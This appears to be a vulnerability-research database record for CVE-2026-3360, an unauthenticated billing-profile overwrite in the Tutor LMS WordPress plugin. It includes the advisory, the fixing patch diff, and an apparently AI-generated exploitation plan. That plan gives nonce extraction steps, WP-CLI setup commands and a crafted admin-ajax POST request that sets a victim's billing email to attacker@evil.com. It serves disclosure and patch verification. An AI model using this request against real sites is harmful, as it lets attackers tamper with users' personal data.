[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fu6xy0-Fad93ObN7sGGrAZsbkbNf14LCf7B7Zy2CSe8Y":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"source_links":40},"CVE-2026-3360","tutor-lms-missing-authorization-to-unauthenticated-arbitrary-billing-profile-overwrite-via-orderid-parameter","Tutor LMS \u003C= 3.9.7 - Missing Authorization to Unauthenticated Arbitrary Billing Profile Overwrite via 'order_id' Parameter","The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to an Insecure Direct Object Reference in all versions up to, and including, 3.9.7. This is due to missing authentication and authorization checks in the `pay_incomplete_order()` function. The function accepts an attacker-controlled `order_id` parameter and uses it to look up order data, then writes billing fields to the order owner's profile (`$order_data->user_id`) without verifying the requester's identity or ownership. Because the Tutor nonce (`_tutor_nonce`) is exposed on public frontend pages, this makes it possible for unauthenticated attackers to overwrite the billing profile (name, email, phone, address) of any user who has an incomplete manual order, by sending a crafted POST request with a guessed or enumerated `order_id`.","tutor",null,"\u003C=3.9.7","3.9.8","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:N","Missing Authorization","2026-04-09 12:40:11","2026-04-10 01:24:58",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7f365519-dd0a-4f39-880d-7216ce2f7d1e?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Ftutor-admin.min.css","assets\u002Fcss\u002Ftutor-front.min.css","assets\u002Fcss\u002Ftutor-frontend-dashboard.min.css","assets\u002Fcss\u002Ftutor-rtl.min.css","assets\u002Fcss\u002Ftutor.min.css","assets\u002Fjs\u002Flazy-chunks\u002Ftutor-coupon-main-content.js","assets\u002Fjs\u002Flazy-chunks\u002Ftutor-course-builder-additional.js","assets\u002Fjs\u002Flazy-chunks\u002Ftutor-course-builder-basic.js","researched",false,3,"# Exploitation Research Plan: CVE-2026-3360 - Tutor LMS Billing Profile Overwrite\n\n## 1. Vulnerability Summary\nThe **Tutor LMS** plugin (versions \u003C= 3.9.7) contains an Insecure Direct Object Reference (IDOR) vulnerability in the `pay_incomplete_order()` function. This function is intended to allow users to complete pending manual orders. However, it lacks authentication and authorization checks, allowing any requester (including unauthenticated attackers) to provide an arbitrary `order_id`. \n\nThe function retrieves the order data associated with the `order_id`, identifies the owner of that order (`user_id`), and then updates that specific user's billing profile metadata using values provided in the request. By enumerating `order_id` values, an attacker can overwrite the billing information (name, email, phone, address) of any user who has a pending manual order.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `admin-ajax.php` (typically used by Tutor for frontend actions).\n*   **Action:** `tutor_pay_incomplete_order` (inferred from function name `pay_incomplete_order`).\n*   **Vulnerable Parameter:** `order_id`.\n*   **Payload Parameters:** Billing fields such as `tutor_billing_first_name`, `tutor_billing_last_name`, `tutor_billing_email`, `tutor_billing_phone`, etc.\n*   **Nonce:** Requires `_tutor_nonce`.\n*   **Authentication:** None (available to unauthenticated users via `wp_ajax_nopriv_`).\n*   **Precondition:** A victim user must have an \"incomplete\" manual order in the system.\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** The request hits `admin-ajax.php` with `action=tutor_pay_incomplete_order`.\n2.  **Hook:** `add_action('wp_ajax_nopriv_tutor_pay_incomplete_order', 'pay_incomplete_order')`.\n3.  **Lookup:** The function calls something like `tutor_utils()->get_order($order_id)` to fetch order details.\n4.  **Identification:** It extracts `$user_id = $order_data->user_id`.\n5.  **Sink:** It iterates through `$_POST` billing fields and calls `update_user_meta($user_id, ...)` without verifying if the current requester is either the order owner or an administrator.\n\n## 4. Nonce Acquisition Strategy\nTutor LMS localizes its configuration and security nonces into a global JavaScript object available on the frontend.\n\n1.  **Identify Trigger:** The `_tutor_nonce` is generally included on any page where Tutor LMS scripts are enqueued (e.g., the Course Archive page or a single course page).\n2.  **Navigate:** Use `browser_navigate` to the homepage or a course page.\n3.  **Extract Nonce:** Use `browser_eval` to extract the nonce from the `tutor_get_conf` object.\n    *   **JS Variable:** `window.tutor_get_conf?._tutor_nonce`\n4.  **Confirmation:** If the above fails, check for localized data in `tutor_localize_data`.\n\n## 5. Test Data Setup\nTo demonstrate the exploit, we must first create a victim user and an incomplete order.\n\n1.  **Create Victim User:**\n    ```bash\n    wp user create victim victim@example.com --role=subscriber --user_pass=password123\n    ```\n2.  **Create Incomplete Order:**\n    Manual orders in Tutor LMS are stored in the `{$wpdb->prefix}tutor_orders` table (or similar).\n    ```bash\n    # Create an order via SQL to ensure it is 'pending'\u002F'incomplete'\n    # Order status 'pending' is typical for manual payments\n    wp db query \"INSERT INTO wp_tutor_orders (user_id, order_status, total_amount, created_at) VALUES ((SELECT ID FROM wp_users WHERE user_login='victim'), 'pending', 100.00, NOW());\"\n    # Note the generated order_id\n    ```\n3.  **Verify Initial State:**\n    ```bash\n    wp user meta get victim _tutor_billing_email\n    ```\n\n## 6. Exploitation Strategy\nWe will use the `http_request` tool to send a crafted POST request to `admin-ajax.php`.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=tutor_pay_incomplete_order\n    &_tutor_nonce=[EXTRACTED_NONCE]\n    &order_id=[VICTIM_ORDER_ID]\n    &tutor_billing_first_name=Hacked\n    &tutor_billing_last_name=Account\n    &tutor_billing_email=attacker@evil.com\n    &tutor_billing_phone=555-000-666\n    &tutor_billing_address_1=123 Malicious Way\n    ```\n\n## 7. Expected Results\n*   **HTTP Response:** Should return a successful JSON response (e.g., `{\"success\":true}`) or a redirect to a \"thank you\" page.\n*   **Side Effect:** The victim user's metadata in the `wp_usermeta` table will be updated with the attacker-supplied values.\n\n## 8. Verification Steps\nAfter the exploit, use WP-CLI to verify the metadata overwrite:\n\n```bash\n# Check if the victim's billing email was changed\nwp user meta get victim _tutor_billing_email\n\n# Check first and last name metadata\nwp user meta get victim _tutor_billing_first_name\nwp user meta get victim _tutor_billing_last_name\n```\n\n## 9. Alternative Approaches\nIf the `admin-ajax.php` action is not `tutor_pay_incomplete_order`:\n1.  **Search Source for Hook:** Use `grep -r \"pay_incomplete_order\" .` to find the exact `add_action` call.\n2.  **Direct Post:** If it's not an AJAX action, the function might be hooked to `template_redirect` or `init`, checking for a specific POST parameter like `tutor_action=pay_incomplete_order`. In this case, send the POST request to the homepage with the required parameters.\n3.  **Field Naming:** If `tutor_billing_` keys don't work, check the source for how the function extracts fields from `$_POST`. It might use a flat structure or a nested array like `billing_info[email]`.","Tutor LMS \u003C= 3.9.7 is vulnerable to an Insecure Direct Object Reference (IDOR) due to missing authentication and authorization checks in the pay_incomplete_order() function. An unauthenticated attacker can use a publicly available nonce and an enumerated order_id to overwrite the billing profile metadata (name, email, phone, address) of any user associated with an incomplete manual order.","--- a\u002Fclasses\u002FOrder.php\n+++ b\u002Fclasses\u002FOrder.php\n@@ -100,6 +100,10 @@\n \tpublic function pay_incomplete_order() {\n \t\ttutor_utils()->checking_nonce();\n \t\t$order_id = (int) tutor_utils()->input_post( 'order_id' );\n \t\t$order_data = tutor_utils()->get_order( $order_id );\n+\n+\t\tif ( ! is_user_logged_in() || (int) $order_data->user_id !== get_current_user_id() ) {\n+\t\t\ttr_die( __( 'Permission denied', 'tutor' ) );\n+\t\t}\n+\n \t\tif ( $order_data ) {","1. Extract the '_tutor_nonce' from the frontend of the site (e.g., from the 'tutor_get_conf' global JavaScript object found on course pages).\n2. Identify or enumerate a target 'order_id' belonging to a user with an incomplete manual payment order.\n3. Send an unauthenticated POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' set to 'tutor_pay_incomplete_order'.\n4. Include the 'order_id', the extracted nonce, and various billing parameters (e.g., 'tutor_billing_email', 'tutor_billing_first_name') in the request body.\n5. The function will retrieve the user ID associated with the order and update that user's profile metadata using the attacker-supplied values without verifying ownership or identity.","gemini-3-flash-preview","2026-04-16 16:16:23","2026-04-16 16:16:42",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","3.9.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags"]